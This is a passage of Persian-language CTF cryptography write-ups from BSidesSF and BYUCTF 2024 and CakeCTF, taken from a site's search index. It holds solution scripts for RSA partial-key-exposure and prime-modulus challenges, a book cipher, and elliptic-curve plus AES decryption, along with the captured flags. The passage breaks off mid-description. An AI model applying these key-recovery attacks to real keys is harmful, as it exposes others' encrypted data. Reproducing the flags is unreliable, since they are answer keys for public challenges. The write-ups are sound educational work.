\u062f\u0631 \u0627\u062f\u0627\u0645\u0647 \u0686\u0627\u0644\u0634 \u0642\u0628\u0644\u06cc\u060c \u0627\u06cc\u0646\u0628\u0627\u0631 \u0628\u0627\u06cc\u062f truth \u0641\u0631\u062f Nadia \u0631\u0627 \u0628\u062e\u0648\u0646\u06cc\u0645. \u0628\u0631\u0627\u0633\u0627\u0633 \u062e\u0631\u0648\u062c\u06cc help types \u0648 listkeys \u062f\u0631 \u067e\u0627\u0631\u062a \u062f\u0648\u0645 \u0633\u0648\u0627\u0644\u060c \u0628\u0647 \u0645\u0627 n \u0648 e \u0628\u0647 \u0647\u0645\u0631\u0627\u0647 \u0646\u0635\u0641 \u0628\u06cc\u062a \u0647\u0627\u06cc \u06a9\u0645 \u0627\u0631\u0632\u0634 d \u062f\u0627\u062f\u0647 \u0634\u062f\u0647 \u0627\u0633\u062a \u0648 \u0628\u0627\u06cc\u062f \u0628\u062a\u0648\u0627\u0646\u06cc\u0645 d \u06a9\u0627\u0645\u0644 \u0631\u0627 \u0628\u062f\u0633\u062a \u0628\u06cc\u0627\u0648\u0631\u06cc\u0645.

","tags":["BSidesSF","BSidesSF 2024","Crypto","RSA","half d"]},{"location":"crypto/writeups/BSidesSF/truthescrow2/#_2","title":"\u0631\u0627\u0647 \u062d\u0644","text":"

\u0628\u0627 \u0627\u0646\u062f\u06a9\u06cc \u0633\u0631\u0686 \u0628\u0647 \u0627\u06cc\u0646 \u0631\u06cc\u067e\u0648 \u06af\u06cc\u062a \u0647\u0627\u0628 \u0631\u0633\u06cc\u062f\u0645 \u0628\u0631\u0627\u06cc \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0627\u0628\u0632\u0627\u0631 \u0627\u0628\u062a\u062f\u0627 \u0641\u0627\u06cc\u0644 \u0628\u0647 \u0622\u062f\u0631\u0633 \u0632\u06cc\u0631 \u0631\u0627 \u0628\u0627\u0632 \u06a9\u0646\u06cc\u062f

attacks/rsa/partial_key_exposure.py\n
\u0633\u067e\u0633 \u06a9\u062f \u0632\u06cc\u0631 \u0631\u0627 \u0628\u0647 \u0627\u0646\u062a\u0647\u0627 \u0641\u0627\u06cc\u0644 \u0628\u0627\u0644\u0627 \u0627\u0636\u0627\u0641\u0647 \u06a9\u0646\u06cc\u062f
logging.basicConfig(level=logging.DEBUG)\n\nN = 0xc17c59923900220c886dca8a49e4bc95e803b2be15cf452c25589c529bc5a03076337bfdda082c8f0ac634e8d3a3cb0a18e50002e9764c12306cd304c831a3e918042bfee0edbca556ecc19a506bb0580154166bcb6fbd537a62a9d6d69a7984d777baeb2066afac90bbeaa9b342adb8cd8b9eefa89574c23dd5f1f56dfc373726ce356067085c4a5a1567af6d3dd9f7a5a8f2f73d39f95453cbfdf25de50b6267f338c2edd1b0401ece05426701cc858f0f9b90e7628b5c505130c9f5c19c833d26e1c51f3f24c3cff0f915401f906ef1db3415e68622fe994ca6af85d27d210bb2069ad2ba38e994e3a2b63027da746cf87624a80661b5b7bf5a3a20a68125\ne = 65537\npartial_d = 0x6ebbc2bf14ca4042c502666e8ed67d391aaf8ba94e5c77f0328fe74705b377c5163bb9d70c90ead25ad926c6d07e672edc649e838aac35e0e745870e09fc3ee3e68844e58cf44bfafa3343a1110aaf9799c1d7edae6c53c3bf5134407c594d853698b944e96f66ace28939c46369ee6633f029f764ac1503d9788888cd7e0b41f975d801\n\n\np_, q_, d_ = attack(N, e, PartialInteger.lsb_of(partial_d, 1060, 1056), m=4, t=4)\nprint(f'{p_ = }')\nprint(f'{q_ = }')\nprint(f'{d_ = }')\n
\u062f\u0631 \u0627\u0646\u062a\u0647\u0627 \u062f\u0633\u062a\u0648\u0631 \u0632\u06cc\u0631 \u0631\u0627 \u0627\u062c\u0631\u0627 \u0645\u06cc\u06a9\u0646\u06cc\u0645
sage -python attacks/rsa/partial_key_exposure.py\n

\u0648 \u0627\u0632 \u062e\u0631\u0648\u062c\u06cc \u0645\u06cc\u062a\u0648\u0627\u0646 d \u0631\u0627 \u0628\u062f\u0633\u062a \u0627\u0648\u0631\u062f \u0648 \u0645\u0633\u0627\u0644\u0647 \u0631\u0627 \u062d\u0644 \u06a9\u0631\u062f

INFO:root:Using Blomer-May (Section 6)...\nINFO:root:Trying m = 4, t = 4...\nDEBUG:root:Generating shifts...\nDEBUG:root:Creating a lattice with 35 shifts (order = 'invlex', sort_shifts_reverse = False, sort_monomials_reverse = False)...\nDEBUG:root:Reducing a 35 x 35 lattice...\nDEBUG:root:Reconstructing polynomials (divide_original = True, modulus_bound = True, divide_gcd = True)...\nDEBUG:root:Reconstructed polynomial has gcd 4 with polynomial at 4, dividing...\nDEBUG:root:Reconstructed polynomial has gcd 4 with polynomial at 4, dividing...\nDEBUG:root:Reconstructed polynomial has gcd 8 with polynomial at 8, dividing...\nDEBUG:root:Reconstructed polynomial has gcd 16 with polynomial at 0, dividing...\nDEBUG:root:Reconstructed polynomial has gcd 2 with polynomial at 1, dividing...\nDEBUG:root:Row 14 is too large, ignoring...\nDEBUG:root:Row 15 is too large, ignoring...\nDEBUG:root:Row 16 is too large, ignoring...\nDEBUG:root:Row 17 is too large, ignoring...\nDEBUG:root:Row 18 is too large, ignoring...\nDEBUG:root:Row 19 is too large, ignoring...\nDEBUG:root:Row 20 is too large, ignoring...\nDEBUG:root:Row 21 is too large, ignoring...\nDEBUG:root:Row 22 is too large, ignoring...\nDEBUG:root:Row 23 is too large, ignoring...\nDEBUG:root:Row 24 is too large, ignoring...\nDEBUG:root:Row 25 is too large, ignoring...\nDEBUG:root:Row 26 is too large, ignoring...\nDEBUG:root:Row 27 is too large, ignoring...\nDEBUG:root:Row 28 is too large, ignoring...\nDEBUG:root:Row 29 is too large, ignoring...\nDEBUG:root:Row 30 is too large, ignoring...\nDEBUG:root:Row 31 is too large, ignoring...\nDEBUG:root:Row 32 is too large, ignoring...\nDEBUG:root:Row 33 is too large, ignoring...\nDEBUG:root:Row 34 is too large, ignoring...\nDEBUG:root:Reconstructed 14 polynomials\nDEBUG:root:Computing pairwise gcds to find trivial roots...\nDEBUG:root:Using Groebner basis method to find roots...\nDEBUG:root:Sequence length: 14, Groebner basis length: 2\nDEBUG:root:Found Groebner basis with length 2, trying to find roots...\np_ = 135910664629928214982882802610812446223246942959119370715736186055734275683591232700237383770019000628786324922720286581455880901684249073202371978652383340260722984522202935328798589197300372600240925502733900876553287019527495229592943493322053755848030380760246614012062400218594889494929908613811634043557\nq_ = 179715934285566366979761174730521685494085840836841514810594725362065959057689486042102979782441969862729151818439593494992034948393051332904613055534437043486894053801587425382559373679124097689993197938679159734722173952736332370889269689473463709996937739163800728716211361515169500844964535234606065001601\nd_ = 23964288361013640476094822164847162632875998342130294892366450689547010575893047965414578820035905154669339806925765459916031658314480084559148571717004939501582718670344208391351899159630294958475472016763076636356405365292267018333906036640906157978048159310091800041776026331453168320232771068604558034921235209490659541126328683833363895246483320539934934853435235071839002168598584116057968941320338064169286071451736499832016207523779221343422851261744824345624761173336307556639698314443936432242816865234219421958556439970565806590965132224299652404650193202242039016916497317418038387032178147582396775913473\n
FLAG

CTF{half_a_d_is_too_much_d}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

mheidari98

","tags":["BSidesSF","BSidesSF 2024","Crypto","RSA","half d"]},{"location":"crypto/writeups/BYUCTF/AreSA/","title":"\u0686\u0627\u0644\u0634 AreSA","text":"","tags":["BYUCTF","BYUCTF-2024","Crypto","RSA"]},{"location":"crypto/writeups/BYUCTF/AreSA/#_1","title":"\u0635\u0648\u0631\u062a \u0633\u0648\u0627\u0644","text":"

\u0641\u0627\u06cc\u0644\u06cc \u06a9\u0647 \u0628\u0647\u0645\u0648\u0646 \u062f\u0627\u062f\u0646 \u0631\u0648 \u0628\u0631\u0631\u0633\u06cc \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u0648 \u0628\u0627 \u062a\u0648\u062c\u0647 \u0628\u0647 \u0646\u0627\u0645 \u0645\u062a\u063a\u06cc\u0631\u0647\u0627 \u067e\u06cc \u0645\u06cc\u0628\u0631\u06cc\u0645 \u06a9\u0647 \u0627\u0632 \u0631\u0645\u0632\u06af\u0630\u0627\u0631\u06cc RSA \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0634\u062f\u0647 \u0627\u0633\u062a.

\u06cc\u0647 \u0641\u0627\u06cc\u0644 \u0645\u062a\u0646\u06cc \u0628\u0647\u0645\u0648\u0646 \u062f\u0627\u062f\u0646 \u06a9\u0647 \u0645\u062d\u062a\u0648\u0627\u0634 \u0627\u06cc\u0646\u0647: cne.txt

n =  128393532851463575343089974408848099857979358442919384244000744053339479654557691794114605827105884545240515605112453686433508264824840575897640756564360373615937755743038201363814617682765101064651503434978938431452409293245855062934837618374997956788830791719002612108253528457601645424542240025303582528541\ne =  65537\nc =  93825584976187667358623690800406736193433562907249950376378278056949067505651948206582798483662803340120930066298960547657544217987827103350739742039606274017391266985269135268995550801742990600381727708443998391878164259416326775952210229572031793998878110937636005712923166229535455282012242471666332812788\n

","tags":["BYUCTF","BYUCTF-2024","Crypto","RSA"]},{"location":"crypto/writeups/BYUCTF/AreSA/#_2","title":"\u0631\u0648\u0634 \u062d\u0644","text":"

\u062e\u0628 \u062e\u06cc\u0644\u06cc \u0633\u0631\u06cc\u0639 \u0645\u06cc\u0631\u06cc\u0645 \u0648 n \u0631\u0648 \u0628\u0631\u0631\u0633\u06cc \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u0648 \u0645\u06cc\u0628\u06cc\u0646\u06cc\u0645 \u06a9\u0647 \u06cc\u06a9 \u0639\u062f\u062f \u0627\u0648\u0644 \u0647\u0633\u062a. \u0628\u0646\u0627\u0628\u0631\u0627\u06cc\u0646 Phi \u0631\u0627 \u0645\u062d\u0627\u0633\u0628\u0647 \u06a9\u0631\u062f\u0647 \u0648 \u0628\u0642\u06cc\u0647 \u0645\u0631\u0627\u062d\u0644 \u0628\u0633\u06cc\u0627\u0631 \u0648\u0627\u0636\u062d \u0647\u0633\u062a.

solve.py
from Crypto.Util.number import *\n\nn =  128393532851463575343089974408848099857979358442919384244000744053339479654557691794114605827105884545240515605112453686433508264824840575897640756564360373615937755743038201363814617682765101064651503434978938431452409293245855062934837618374997956788830791719002612108253528457601645424542240025303582528541\ne =  65537\nc =  93825584976187667358623690800406736193433562907249950376378278056949067505651948206582798483662803340120930066298960547657544217987827103350739742039606274017391266985269135268995550801742990600381727708443998391878164259416326775952210229572031793998878110937636005712923166229535455282012242471666332812788\n\n\nphi = n-1\nd=inverse(e, phi)\nlong_to_bytes(pow(c, d, n))\n
FLAG

byuctf{d1d_s0m3_rs4_stuff...m1ght_d3l3t3_l4t3r}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

MohamadAli

","tags":["BYUCTF","BYUCTF-2024","Crypto","RSA"]},{"location":"crypto/writeups/BYUCTF/Austen-Supremacy/","title":"\u0686\u0627\u0644\u0634 Austen Supremacy","text":"","tags":["BYUCTF","BYUCTF-2024","Crypto","Encoding"]},{"location":"crypto/writeups/BYUCTF/Austen-Supremacy/#_1","title":"\u0635\u0648\u0631\u062a \u0633\u0648\u0627\u0644","text":"

\u0644\u06cc\u062f\u06cc\u0627 \u062c\u06cc\u0646 \u0622\u0633\u062a\u0646 \u0631\u0627 \u062f\u0648\u0633\u062a \u062f\u0627\u0631\u062f. \u062f\u0631 \u0648\u0627\u0642\u0639 \u06a9\u062a\u0627\u0628 \u0645\u0648\u0631\u062f \u0639\u0644\u0627\u0642\u0647 \u0627\u0648 Pride and Prejudice \u0627\u0633\u062a. \u0627\u0648 \u0648 \u062f\u0648\u0633\u062a\u0627\u0646\u0634 \u062f\u0648\u0633\u062a \u062f\u0627\u0631\u0646\u062f \u062f\u0631\u0628\u0627\u0631\u0647 \u06a9\u062a\u0627\u0628 \u0628\u0627 \u0647\u0645 \u0635\u062d\u0628\u062a \u06a9\u0646\u0646\u062f\u060c \u0627\u0645\u0627 \u0627\u062e\u06cc\u0631\u0627 \u0644\u06cc\u062f\u06cc\u0627 \u0634\u0631\u0648\u0639 \u0628\u0647 \u0631\u0645\u0632\u06af\u0630\u0627\u0631\u06cc \u067e\u06cc\u0627\u0645 \u0647\u0627\u06cc \u062e\u0648\u062f \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a. \u0645\u062a\u0623\u0633\u0641\u0627\u0646\u0647 \u062f\u0648\u0633\u062a\u0627\u0646 \u0644\u06cc\u062f\u06cc\u0627 \u06a9\u062f \u0645\u062e\u0641\u06cc \u0627\u0648 \u0631\u0627 \u062f\u0631\u06a9 \u0646\u0645\u06cc \u06a9\u0646\u0646\u062f --\u00a0 \u0645\u06cc \u062a\u0648\u0627\u0646\u06cc\u062f \u0628\u0647 \u0622\u0646\u0647\u0627 \u06a9\u0645\u06a9 \u06a9\u0646\u06cc\u062f \u0648 \u067e\u06cc\u0627\u0645 \u0645\u062e\u0641\u06cc \u0631\u0627 \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc \u06a9\u0646\u06cc\u062f\u061f

1.1.1 8.9.8 10.2.11 4.14.28 61.2.4 47.10.3 23.7.37 41.12.4 17.6.10 1.1.21\n
","tags":["BYUCTF","BYUCTF-2024","Crypto","Encoding"]},{"location":"crypto/writeups/BYUCTF/Austen-Supremacy/#_2","title":"\u062d\u0644","text":"

\u0628\u0627 \u062a\u0648\u062c\u0647 \u0628\u0647 \u0641\u0631\u0645\u062a \u067e\u06cc\u0627\u0645\u06cc \u06a9\u0647 \u0644\u06cc\u062f\u0627 \u0627\u0631\u0633\u0627\u0644 \u06a9\u0631\u062f\u0647 \u062d\u062f\u0633 \u0632\u062f\u06cc\u0645 \u06a9\u0647 \u0645\u0645\u06a9\u0646\u0647 \u0631\u0628\u0637\u06cc \u0628\u0647 \u0627\u06cc\u0646 \u06a9\u062a\u0627\u0628 \u06a9\u0631\u062f\u0647 \u0628\u0627\u0634\u0647 \u0628\u0646\u0627\u0628\u0631\u0627\u06cc\u0646 \u0631\u0641\u062a\u06cc\u0645 \u0648 \u06a9\u062a\u0627\u0628 \u0631\u0648 \u062f\u0627\u0646\u0644\u0648\u062f \u06a9\u0631\u062f\u06cc\u0645 \u0648 \u062d\u0633 \u0632\u062f\u06cc\u0645 \u06a9\u0647 \u0627\u0644\u06af\u0648\u06cc \u067e\u06cc\u0627\u0645\u06cc \u06a9\u0647 \u0644\u06cc\u062f\u0627 \u0627\u0631\u0633\u0627\u0644 \u06a9\u0631\u062f\u0647 \u0628\u0647 \u0635\u0648\u0631\u062a \u0632\u06cc\u0631 \u0627\u0633\u062a:

Chapter.Paragraph.Character\n
\u062e\u0648\u0634\u0628\u062e\u062a\u0627\u0646\u0647 \u062d\u062f\u0633\u0645\u0648\u0646 \u062f\u0631\u0633\u062a \u0628\u0648\u062f \u0648 \u0641\u0644\u06af \u0631\u0648 \u0628\u062f\u0633\u062a \u0627\u0648\u0631\u062f\u06cc\u0645.

FLAG

byuctf{ilovedarcy}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

MohamadAli, HIGHer

","tags":["BYUCTF","BYUCTF-2024","Crypto","Encoding"]},{"location":"crypto/writeups/BYUCTF/Times/","title":"\u0686\u0627\u0644\u0634 Times","text":"","tags":["BYUCTF","BYUCTF-2024","Crypto","Eliptic Curve"]},{"location":"crypto/writeups/BYUCTF/Times/#_1","title":"\u0635\u0648\u0631\u062a \u0633\u0648\u0627\u0644","text":"

\u0645\u06cc\u06af\u0647 \u0627\u06cc\u0646 \u0641\u0642\u0637 \u06cc\u06a9 \u0636\u0631\u0628 \u0627\u0633\u062a....\u062f\u0631\u0633\u062a\u0647\u061f

\u06cc\u0647 \u0641\u0627\u06cc\u0644 \u0645\u062a\u0646\u06cc \u0648 \u06cc\u06a9 \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u067e\u0627\u06cc\u062a\u0648\u0646 \u0631\u0648 \u0628\u0647\u0645\u0648\u0646 \u062f\u0627\u062f\u0646

","tags":["BYUCTF","BYUCTF-2024","Crypto","Eliptic Curve"]},{"location":"crypto/writeups/BYUCTF/Times/#timestxt","title":"times.txt","text":"
Curve:  y^2 = x**3 + 13x + 245 % 335135809459196851603485825030548860907\nPoint:  (14592775108451646097, 237729200841118959448447480561827799984)\n{'ciphertext': b'SllGMo5gxalFG9g8j4KO0cIbXeub0CM2VAWzXo3nbIxMqy1Hl4f+dGwhM9sm793NikYA0EjxvFyRMcU2tKj54Q==', 'iv': b'MWkMvRmhFy2vAO9Be9Depw=='}\n
","tags":["BYUCTF","BYUCTF-2024","Crypto","Eliptic Curve"]},{"location":"crypto/writeups/BYUCTF/Times/#_2","title":"\u0631\u0648\u0634 \u062d\u0644","text":"

\u0648\u0642\u062a\u06cc \u0641\u0627\u06cc\u0644 \u0645\u062a\u0646\u06cc \u0631\u0648 \u0645\u06cc\u0628\u06cc\u0646\u06cc\u0645 \u0628\u0627 \u062a\u0648\u062c\u0647 \u0628\u0647 \u0645\u0646\u062d\u0646\u06cc \u0648 \u0641\u0631\u0645\u062a\u06cc \u06a9\u0647 \u062f\u0627\u0631\u0647 \u0645\u062a\u0648\u062c\u0647 \u0645\u06cc\u0634\u06cc\u0645 \u06a9\u0647 \u0628\u0627 Elliptic-Curve \u0637\u0631\u0641 \u0647\u0633\u062a\u06cc\u0645. \u062f\u0631 \u0648\u0627\u0642\u0639 \u0627\u06cc\u0646 \u0645\u0646\u062d\u0646\u06cc \u0628\u06cc\u0636\u0648\u06cc \u062f\u0631 \u06cc\u06a9 \u0645\u06cc\u062f\u0627\u0646 \u0645\u062d\u062f\u0648\u062f \u0627\u0632 \u0646\u0642\u0627\u0637\u06cc \u062a\u0634\u06a9\u06cc\u0644 \u0634\u062f\u0647 \u06a9\u0647 \u0628\u0627\u06cc\u062f \u0628\u0647 \u0645\u0639\u0627\u062f\u0644\u0647 \u0628\u0647 \u0641\u0631\u0645\u062a \u0632\u06cc\u0631 \u0631\u0627 \u0628\u0631\u0622\u0648\u0631\u062f\u0647 \u06a9\u0646\u0647:

y^2 =x^3 + ax + b

\u0648 \u0628\u0627 \u062a\u0648\u062c\u0647 \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u0633\u0648\u0627\u0644 \u062d\u062f\u0633 \u0645\u06cc\u0632\u0646\u06cc\u0645 \u06a9\u0647 \u0647\u062f\u0641 scalar multiplication \u0647\u0633\u062a.

import hashlib\nfrom Crypto.Cipher import AES \nfrom Crypto.Util.Padding import pad, unpad\nfrom ellipticcurve import * # I'll use my own library for this\nfrom base64 import b64encode\nimport os\nfrom Crypto.Util.number import getPrime\n\ndef encrypt_flag(shared_secret: int, plaintext: str):\n    iv = os.urandom(AES.block_size)\n\n    #get AES key from shared secret\n    sha1 = hashlib.sha1()\n    sha1.update(str(shared_secret).encode('ascii'))\n    key = sha1.digest()[:16]\n\n    #encrypt flag\n    plaintext = pad(plaintext.encode('ascii'), AES.block_size)\n    cipher = AES.new(key, AES.MODE_CBC, iv)\n    ciphertext = cipher.encrypt(plaintext)\n\n    return { \"ciphertext\" : b64encode(ciphertext), \"iv\" : b64encode(iv) }\n\ndef main():\n    the_curve = EllipticCurve(13, 245, getPrime(128))\n    start_point = None\n    while start_point is None:\n        x = getPrime(64)\n        start_point = the_curve.point(x)\n    print(\"Curve: \", the_curve)\n    print(\"Point: \", start_point)\n    new_point = start_point * 1337\n\n    flag = \"byuctf{REDACTED}\"\n    print(encrypt_flag(new_point.x, flag))\n\nif __name__ == \"__main__\":\n    main()\n

\u062e\u0628 \u0646\u06af\u0627\u0647\u06cc \u0628\u0647 \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u062f\u0627\u062f\u0647 \u0634\u062f\u0647 \u0645\u06cc\u0646\u062f\u0627\u0632\u06cc\u0645 \u0648 \u0645\u06cc\u0628\u06cc\u0646\u06cc\u0645 \u06a9\u0647 \u0628\u0639\u0644\u0647 \u0647\u0645\u0648\u0646\u0637\u0648\u0631 \u06a9\u0647 \u062d\u062f\u0633 \u0645\u06cc\u0632\u062f\u06cc\u0645 \u0647\u062f\u0641 \u0645\u062d\u0627\u0633\u0628\u0647 scalar multiplication \u0628\u0627 n=1337 \u0648 \u0628\u0639\u062f\u0634 \u0645\u062e\u062a\u0635\u0627\u062a x \u062d\u0627\u0635\u0644 \u0627\u0632 \u062e\u0631\u0648\u062c\u06cc scalar multiplication \u0631\u0648 \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 shared secret \u0648 \u0641\u0644\u06af \u0631\u0648 \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 plaintext \u0628\u0647 \u062a\u0627\u0628\u0639 encrypt_flag \u062f\u0627\u062f\u0647 \u0645\u06cc \u0634\u0648\u062f.

\u062f\u0631 \u0648\u0627\u0642\u0639 \u062a\u0645\u0627\u0645 \u06a9\u0627\u0631\u06cc \u06a9\u0647 \u0645\u0627 \u0628\u0627\u06cc\u062f \u0627\u0646\u062c\u0627\u0645 \u0628\u062f\u06cc\u0645 \u0627\u06cc\u0646\u0647 \u06a9\u0647 \u06cc\u06a9 \u062a\u0627\u0628\u0639 scalar multiplication \u0628\u0646\u0648\u06cc\u0633\u06cc\u0645 \u0648 \u0628\u0639\u062f \u0627\u0648\u0646 \u06cc\u06a9 \u062a\u0627\u0628\u0639 \u0628\u0631\u0627\u06cc decrypt \u06a9\u0631\u062f\u0646 \u0641\u0644\u06af \u0628\u0627 \u062a\u0648\u062c\u0647 AES \u062f\u0631 \u0645\u062f CBC \u0628\u0646\u0648\u06cc\u0633\u06cc\u0645 ( \u0647\u0645\u0627\u0646\u0637\u0648\u0631 \u06a9\u0647 \u0645\u06cc\u0628\u0646\u06cc\u062f ciphertext \u0648 iv \u062f\u0631 \u0641\u0627\u06cc\u0644 times.txt \u0642\u0631\u0627\u0631 \u062f\u0627\u062f\u0647 \u0634\u062f\u0647 \u0627\u0633\u062a ).

","tags":["BYUCTF","BYUCTF-2024","Crypto","Eliptic Curve"]},{"location":"crypto/writeups/BYUCTF/Times/#scalar-multiplication","title":"\u067e\u06cc\u0627\u062f\u0647 \u0633\u0627\u0632\u06cc Scalar Multiplication","text":"
from Crypto.Util.number import *\nP=(14592775108451646097, 237729200841118959448447480561827799984)\np=335135809459196851603485825030548860907\na=13\ndef point_addition(P, Q, p, a):\n    if P == (0,0):\n        return Q\n    elif Q == (0,0):\n        return P\n    elif P[0] == Q[0] & P[1] == -Q[1]:\n        return (0,0)\n    elif P != Q:\n        landa = (((Q[1] - P[1]) % p) * inverse( ((Q[0] - P[0]) % p), p)) % p\n    elif P == Q:\n        landa = ( (((3*((P[0]**2) % p) % p) + a) % p) * inverse( ((2 * P[1]) % p), p)) % p\n    x = (((landa**2) % p) - P[0] - Q[0]) % p\n    y = (((landa*((P[0] - x) % p)) % p) - P[1]) % p\n    return (x, y)\n\ndef scalar_multiplication(P, n, p, a):\n    Q = P\n    R = (0,0)\n    while n > 0:\n        if n % 2 == 1:\n            R = point_addition(R, Q, p, a)\n        Q = point_addition(Q, Q, p, a)\n        n = math.floor(n/2)\n    return R\n\nscalar_multiplication(P, 1337, p, a)\n
","tags":["BYUCTF","BYUCTF-2024","Crypto","Eliptic Curve"]},{"location":"crypto/writeups/BYUCTF/Times/#decrypt_flag","title":"\u067e\u06cc\u0627\u062f\u0647 \u0633\u0627\u0632\u06cc decrypt_flag","text":"
from Crypto.Cipher import AES\nfrom base64 import b64decode\nfrom Crypto.Util.Padding import unpad\n\n\ndef decrypt_flag(shared_secret: int, ciphertext_dict: dict):\n\n  # Derive AES key from shared secret (same as encryption)\n  sha1 = hashlib.sha1()\n  sha1.update(str(shared_secret).encode('ascii'))\n  key = sha1.digest()[:16]\n\n  # Retrieve ciphertext and IV from dictionary\n  ciphertext = b64decode(ciphertext_dict[\"ciphertext\"])\n  iv = b64decode(ciphertext_dict[\"iv\"])\n\n  # Decrypt the ciphertext\n  cipher = AES.new(key, AES.MODE_CBC, iv)\n  plaintext = unpad(cipher.decrypt(ciphertext), AES.block_size)\n\n  # Return the decrypted string\n  return plaintext.decode('ascii')\n\n\nshared_secret = 130102914376597655583988556541378621904\n\nciphertext_dict = {'ciphertext': b'SllGMo5gxalFG9g8j4KO0cIbXeub0CM2VAWzXo3nbIxMqy1Hl4f+dGwhM9sm793NikYA0EjxvFyRMcU2tKj54Q==', 'iv': b'MWkMvRmhFy2vAO9Be9Depw=='}\n\n\ndecrypt_flag(shared_secret, ciphertext_dict)\n
FLAG

byuctf{mult1pl1c4t10n_just_g0t_s0_much_m0r3_c0mpl1c4t3d}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

MohamadAli

","tags":["BYUCTF","BYUCTF-2024","Crypto","Eliptic Curve"]},{"location":"crypto/writeups/CakeCTF/simple-signature/","title":"\u0686\u0627\u0644\u0634 Simple signature","text":"

\u0627\u06cc\u0646 \u0686\u0627\u0644\u0634 \u062f\u0631 \u0627\u0628\u062a\u062f\u0627 \u0686\u0627\u0644\u0634 \u0633\u0627\u062f\u0647\u200c\u0627\u06cc \u0628\u0647 \u0646\u0638\u0631 \u0645\u06cc\u200c\u0631\u0633\u06cc\u062f \u0648 \u0647\u0645\u0648\u0646\u200c\u0637\u0648\u0631 \u06a9\u0647 \u062a\u0648\u06cc \u062a\u0635\u0648\u06cc\u0631 \u0632\u06cc\u0631 \u0647\u0645 \u0645\u06cc\u200c\u0628\u06cc\u0646\u06cc\u062f \u062a\u0639\u062f\u0627\u062f \u062d\u0644 \u0628\u0627\u0644\u0627\u06cc\u06cc \u062f\u0627\u0634\u062a. \u0627\u0645\u0627 \u06a9\u0645 \u062f\u0642\u062a\u06cc \u0648 \u062a\u0648\u062c\u0647 \u0646\u06a9\u0631\u062f\u0646 \u0628\u0647 \u06cc\u06a9 \u0633\u0631\u06cc \u0646\u06a9\u0627\u062a \u0631\u06cc\u0632 \u0628\u0627\u0639\u062b \u0634\u062f \u0646\u062a\u0648\u0646\u0645 \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634 \u0633\u0631\u06cc\u0639 \u062d\u0644 \u06a9\u0646\u0645.

\u062e\u0628 \u0628\u0631\u06cc\u0645 \u0633\u0631\u0627\u063a \u0686\u0627\u0644\u0634\u060c \u0647\u0645\u0627\u0646\u200c\u0637\u0648\u0631 \u06a9\u0647 \u062f\u0631 \u062a\u0635\u0648\u06cc\u0631 \u0628\u0627\u0644\u0627 \u062f\u06cc\u062f\u0647 \u0645\u06cc\u0634\u0647 \u0627\u06cc\u0646 \u06cc\u06a9 \u0686\u0627\u0644\u0634 \u0627\u0645\u0636\u0627\u06cc \u062f\u06cc\u062c\u06cc\u062a\u0627\u0644 \u0627\u0633\u062a \u06a9\u0647 \u06cc\u06a9 \u0622\u062f\u0631\u0633 \u0648 \u067e\u0648\u0631\u062a \u0647\u0645\u0631\u0627\u0647 \u0628\u0627 \u06a9\u062f \u0633\u0645\u062a \u0633\u0631\u0648\u0631 \u062f\u0627\u0631\u06cc\u0645. \u0628\u0647 \u0645\u062d\u0636 \u0627\u062a\u0635\u0627\u0644 \u0628\u0647 \u0633\u0631\u0648\u0631\u060c \u0645\u0642\u0627\u062f\u06cc\u0631 p \u060cg \u0648 \u0632\u0648\u062c \u0645\u0631\u062a\u0628 vkey \u06a9\u0647 \u062f\u0631 \u0648\u0627\u0642\u0639 \u06a9\u0644\u06cc\u062f \u0639\u0645\u0648\u0645\u06cc \u0627\u0633\u062a \u0631\u0648 \u0628\u0647 \u0645\u0627 \u0645\u06cc\u062f\u0647 \u0648 \u0627\u0632 \u0645\u0627 \u0645\u06cc\u062e\u0648\u0627\u062f \u06a9\u0647 \u0627\u0646\u062a\u062e\u0627\u0628 \u06a9\u0646\u06cc\u0645 \u06a9\u0647 \u0645\u06cc \u062e\u0648\u0627\u0647\u06cc\u0645 \u0645\u062a\u0646\u06cc \u0631\u0648 \u0627\u0645\u0636\u0627 \u06a9\u0646\u06cc\u0645 \u06cc\u0627 \u0645\u06cc\u200c\u062e\u0648\u0627\u0647\u06cc\u0645 \u06cc\u06a9 \u0627\u0645\u0636\u0627 \u0631\u0648 \u062a\u0635\u062f\u06cc\u0642 \u06a9\u0646\u06cc\u0645. \u0628\u0627 \u0627\u0646\u062a\u062e\u0627\u0628 \u06af\u0632\u06cc\u0646\u0647 \u0627\u0645\u0636\u0627 (S)\u060c \u0627\u0632 \u0645\u0627 \u062f\u0631\u062e\u0648\u0627\u0633\u062a \u0645\u062a\u0646\u06cc \u06a9\u0647 \u0642\u0631\u0627\u0631 \u0627\u0645\u0636\u0627 \u0628\u0634\u0647 \u0631\u0648 \u0645\u06cc \u06a9\u0646\u0647 \u0648 \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u062e\u0631\u0648\u062c\u06cc \u06cc\u06a9 \u0632\u0648\u062c \u0645\u0631\u062a\u0628 (s,t) \u0628\u0647 \u0645\u0627 \u0645\u06cc\u062f\u0647 \u06a9\u0647 \u0627\u06cc\u0646 \u0632\u0648\u062c \u0645\u0631\u062a\u0628 \u0647\u0645\u0627\u0646 \u0627\u0645\u0636\u0627\u06cc \u0645\u062a\u0646 \u0627\u0633\u062a. \u0627\u06af\u0631 \u06af\u0632\u06cc\u0646\u0647 \u062a\u0635\u062f\u06cc\u0642 (V) \u0631\u0627 \u0627\u0646\u062a\u062e\u0627\u0628 \u06a9\u0646\u06cc\u0645 \u0627\u0628\u062a\u062f\u0627 \u0645\u062a\u0646 \u067e\u06cc\u0627\u0645 \u0648 \u0633\u067e\u0633 \u0632\u0648\u062c \u0645\u0631\u062a\u0628 (s,t) \u0631\u0648 \u062f\u0631\u062e\u0648\u0627\u0633\u062a \u0645\u06cc\u06a9\u0646\u0647 \u06a9\u0647 